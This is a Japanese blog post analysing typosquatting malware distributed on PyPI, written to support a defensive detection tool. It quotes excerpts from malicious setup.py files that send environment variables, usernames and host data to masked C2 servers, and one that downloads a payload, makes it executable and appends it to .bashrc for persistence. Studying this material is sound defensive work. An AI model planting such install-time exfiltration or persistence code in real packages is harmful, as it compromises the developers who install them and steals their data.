ぶるーたるごぶりん

UI, UX, セキュリティとか😘

パッケージファイルに擬態したマルウェアのコードを読む part1

ライブラリに擬態したマルウェアを見てく

今作ってるツールでどうしても複数の事例を知っておく必要があるので、 半分自分用に乱雑にまとめていく。

この記事では、主にPypi (Pythonのパッケージマネージャ)にて配布されていた 「ライブラリに似せた名前」のマルウェアのコードを見ていく。

とはいえ、かなりシンプルなものばかりだったので、 記事の内容的には微妙かも。

はじめに

近年、タイトルにある通りライブラリに擬態したマルウェアというのがそれなりに配布されていたりする。 これらは大抵の場合、 Typo Squatting と呼ばれる攻撃手法をベースにしてライブラリとして公開・配布されている。 これらのマルウェアは、インストール・使用した端末に対して、なにかしらの悪性なコードを実行させることを狙っている。

そもそも Typo Squatting とは、(大抵は)フィッシングサイトなどで悪用される攻撃テクニックで、 google[.]com などと、正規のドメインをタイピングしなければならないところを、 タイピングミスを狙って gooogle[.]com などと言った、少しだけズラしたドメインで、 悪性なサイトをホスティングし、被害者がタイポして悪性ドメインに訪れてくるのを待つ・・・という感じの攻撃が行われる。

先ほども書いた通り、大抵はフィッシングサイトで使われる攻撃手法だったのだが、 近年(特に観測範囲だと node.js, python 周り)で pypi などのパッケージマネージャーなどに マルウェアが上げられていることがある。 これらのマルウェアでは、先ほど言った Typo Squatting と呼ばれる攻撃手法が利用され、 有名なライブラリー名を少しだけズラした形でマルウェアが公開されていたりする。

つい最近の記事だと - というライブラリが npm で配布されており、 70万回ダウンロードされたとか。 https://labs.cybozu.co.jp/blog/akky/2021/08/empty-npm-package-downloaded-sub-one-million-times/

こう言った背景もあり、Pypi から抽象構文木(AST)を使ったマルウェア検出を行った人がいたりする。 https://bertusk.medium.com/detecting-cyber-attacks-in-the-python-package-index-pypi-61ab2b585c67

まとめると、「問題ないライブラリと思ったら実はマルウェアでした」というのがこの攻撃の手法であり、 近年話題のサプライチェーン攻撃としてカテゴライズされている。

今回は「この辺りをもうちょっと(防御面で)なんとかできんのかー」と思い、 セコセコ亀のスピードで開発をしているツールのために、数個のマルウェアのコードを読んでいこうと思う。

なお、本記事はGithubやブログなどのオープンな情報をベースとしており、 マルウェアの流布などを目的とした反社会的行為を推奨してるわけではない。

先に余談

これらのマルウェアとなるパッケージから自分たちを守る手法としては、知ってる限りだと 以下くらいしかない気がしている。

Gitlab の (Falconの) サンドボックスを使った動的解析 https://www.infoq.com/news/2021/08/gitlab-package-hunter/

あとは、Snyk などのパッケージ周りの脆弱性DBが、(運よく)マルウェアを検知し、 それを脆弱性DBに登録して、スキャンした時とかに検出してくれるのを祈るとか? まあこのパターンはあまりにも運に任せてる感じがあるのでナンセンスな気もする。

結局はサンドボックス系統が妥当なのかなーと思っている。

マルウェアを見ていく

さて、本編のマルウェアを見ていく。

過去に配布されていたマルウェアのサンプルが置いてあるページがあったので、まずここから見ていく。 (今回の記事ではここにリストアップされてるやつだけ)

https://github.com/rsc-dev/pypi_malware/tree/master/malware

このリポジトリのトップには 「どこに通信しようとしていたのか」 「どういうデータを送信しようとしていたのか」 「どのパッケージ名(バージョン)で配布されていたか」 が記載されているので参考に。

コードが酷似してる奴はまとめて記載。

※1 コマンンド指令っぽいことしてたり、逆にただ情報吸い上げしかしてなかったりしてる サーバーも含めて、面倒なのでC2サーバと呼んでいます。言葉的に適切ではないですが許してください。

※2 便宜上、自分のメモと、一部省略として「コメントアウト(日本語のコメント部分)」「コードの省略 (...)」を追記している。

virtualnv-0.1.1

URL: https://github.com/rsc-dev/pypi_malware/blob/master/malware/virtualnv/virtualnv-0.1.1/setup.py

setup.pyマルウェアのケース。 すごいシンプルに、環境変数・ホスト名を送っている。

# ホスト名・環境変数を全部引っこ抜く
info = socket.gethostname()+' virtualnv '+' '.join(['%s=%s' % (k,v) for (k,v) in os.environ.items()])+' '
...
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{C2サーバドメイン}", 80))
s.send("POST / HTTP/1.1\r\n"+
...
s.recv(2048)

環境変数などは旨味があるので送信するのは全然納得。

ほぼ同じコードが mumpy-0.1, distrib-0.1 というマルウェアで配布されてた。 https://github.com/rsc-dev/pypi_malware/tree/master/malware/mumpy/mumpy-0.1 https://github.com/rsc-dev/pypi_malware/blob/master/malware/distrib/distrib-0.1/setup.py

次のやつ( smb-2.4 )は、このマルウェアに比べると取ろうとしている情報が少なすぎて謎。

smb-2.4

URL: https://github.com/rsc-dev/pypi_malware/blob/master/malware/smb/smb-2.4/setup.py

def request(url, method='GET', data=None, headers=None):
    ...

    req = urlrequest.Request(url=url, data=data, headers=headers)
    return urlrequest.urlopen(req, timeout=10).read()


def detect():
    # ログイン名
    username = getpass.getuser()
    # Windows とかのプラットフォーム情報
    hostinfo = platform.uname()
    # ホスト名
    ip = socket.gethostname()

    # ユーザー@IP 形式
    data = {
        "title": "%s@%s" % (username, ip),
        "body": str(hostinfo)
    }

    headers = {
        'Content-Type': 'application/json'
    }

    # データを送信。
    request(
        url='http://{C2サーバドメイン}/webhook.php',
        method='POST',
        data=json.dumps(data).encode("utf-8", errors='ignore'),
        headers=headers
    )
...

Reverse TCP とかしておらず、 あくまで情報収集しかしてない。

これらの情報を収集して果たして嬉しいのだろうか?

また、以下のコードも酷似している。

pythonkafka-1.3.5 URL: https://github.com/rsc-dev/pypi_malware/tree/master/malware/pythonkafka/pythonkafka-1.3.5

こっちは Kafka Client の Python ツールをそのままコピーしており、 その上でマルウェア用のコードに一部だけ変えてる。

なので、ファイル数自体はかなりあり、大量のファイルの中に少しだけマルウェアなどが入っていた場合は検知がだるそう。 ただ、このマルウェアは雑っぽそうなので setup.py にそのまま悪性コードが書かれている。

同様のコード: python-sqlite

以下も同様のコードだが、それぞれ地域言語を取得し・・・それを使っていない・・・?謎。

python-openssl-0.1 https://github.com/rsc-dev/pypi_malware/blob/master/malware/python-openssl/python-openssl-0.1/setup.py#L16

データ送信部分は少しだけ違っており、base64エンコードしてから送ってる。

request.urlopen(r'http://.......',data='vid='.encode('utf-8')+base64.b64encode(vid.encode('utf-8')))

このvid は以下

vid = user_name+"###"+hostname+"###"+os_version+"###"+ip+"###"+package

他の以下のライブラリは代わり映えしない感じ。

mybiubiubiu

さて、こちらはまず以下のバージョンでマルウェアが公開されていたっぽい点が他と違う。 https://github.com/rsc-dev/pypi_malware/tree/master/malware/mybiubiubiu

  • mybiubiubiu-0.1.0
  • mybiubiubiu-0.1.1
  • mybiubiubiu-0.1.2
  • mybiubiubiu-0.1.3
  • mybiubiubiu-0.1.4
  • mybiubiubiu-0.1.6

他のと殆ど同じだが、前のやつより少し情報おおめに取ってる

https://github.com/rsc-dev/pypi_malware/blob/master/malware/mybiubiubiu/mybiubiubiu-0.1.6/setup.py#L30

data = {
    "username": str(username),
    "hostname": str(hostname),
    "ip":str(ip),
    "package": "mybiubiubiu",
    "language": "Python %s.%s.%s" % (sys.version_info.major, sys.version_info.minor, sys.version_info.micro),
    "time":str(timenow),
    "submit":"Submit"
}

あと謎のファイル書き込みをしてる (おそらく後の方で出てくる .bashrc に書き込みしてるやつのテストでやった奴?)

filename = os.path.join(
    tempfile.gettempdir(),
    hashlib.md5(str(hostname).encode('utf-8', errors='ignore')).hexdigest()
)

各バージョンのデータ送信先ドメインはどれも違う

libpeshka

URL: https://github.com/rsc-dev/pypi_malware/blob/master/malware/libpeshka/libpeshka-0.6/setup.py

ちゃんと侵入するぜ という気概がある。

Linux の場合のみ起動し、

if platform.system () == "Linux":
    ...

  else:
    print ("Error installing library!")
    exit (-1)

HTTP Client で使える方が既にインポートされてるかを見て、 使える方を使う。 送信先ADD_LOC というC2サーバからレスポンスを受け取る。

response = ""
if not lb:
       response = urllib2.urlopen(ADD_LOC).read ()
else:
       response = requests.get (ADD_LOC)
       response = response.content

次は .bashrc に悪性コードを埋め込むための下準備を行う。

ホームディレクトリに移動したあと、 .drv というファイルを書き出す。 書き出した .drv ファイルは、 os.stat() メソッドによって権限情報を取得しておく。 ( os.stat() は、ファイルのメタ情報(作成日時、所有者ID, 所有者GroupIDなど)を返す)

os.chdir (os.path.expanduser ("~"))
d = open (LOC, "wb")
d.write (response)
d.close ()
current_state = os.stat (LOC)

ここまでで、C2サーバから受け取ったレスポンスを ホームディレクトリに .drv というファイルで書き込みが終わった。

で、その .drvos.chmod() で実行権限がある状態に設定している。 あとは .bashrc に対して、 バックグラウンド実行 (&) で、 C2サーバから受け取ったレスポンス (.drv) を .bashrc がロードされるたびに実行するように指定している。 最後に .bashrc がまだリロードされていないので、バックグラウンドで起動。

os.chmod (LOC, current_state.st_mode|stat.S_IEXEC)

brc = open (".bashrc", "a")
brc.write ("\n~/.drv &")
brc.close ()

os.system ("~/.drv &")

興味深いのが、 ver 0.2 の時は、 HTTP Client で使える方を使うと言った 条件分岐がなく、マルウェアを配布して実際に試して・・・みたいな 行き当たりばったり感が出ていること。

また、殆ど同じやつが以下:

easyinstall の方だけほんの少し違う点があり、 こっちは .drv を並列実行しようとしている。

threading.Thread (target=(lambda: os.system("~/.drv"))).start ()

junkeldat

URL: https://github.com/rsc-dev/pypi_malware/blob/master/malware/junkeldat/junkeldat-1.0/setup.py

def run(self):
    ip = socket.gethostbyname(base64.b64decode('d3d3L.....vcmc='))
    self.tesy(ip)

def test(self, ip):
    print('Testing!')

base64 decode すると、C2サーバのドメインが出てくる。 ただ、 tesy というメソッドがクラスに生えてないので壊れてる。 仮に test メソッドを叩く想定だったのであれば、C2サーバに通知が言ってたはず。

雑すぎる

まとめ

今回対象としたマルウェアはあくまですごい雑な仕事によって公開されていたため、 難読化だとか、アーダーこーだ頑張って検知や解析を難しくすることがされていないので大抵素直。

とはいえ、これらを検知するのはやはり難しく、 一般のソフトウェアの形で、コピーしてきた setup.py の一部分だけがマルウェアであったり、 中身の一部だけがマルウェアでしたーとなると、なかなか検知がしにくそう。

被害者の殆どは開発者なので、ある程度のリテラシーがあるとはいえ、 この攻撃が成功する要因はヒューマンエラー(タイピングミス)なので、 防いで行くのはなかなか至難な気がしている。

多分次の記事も同様に同じようなマルウェアを見ていくやつを出す。

最後に

マルウェアを配布してる奴らへ ばかたれ

追記:

8/16: - C2サーバドメインをマスキング - 注意書き追加 - マルウェア配布している奴らへのヘイト文章を修正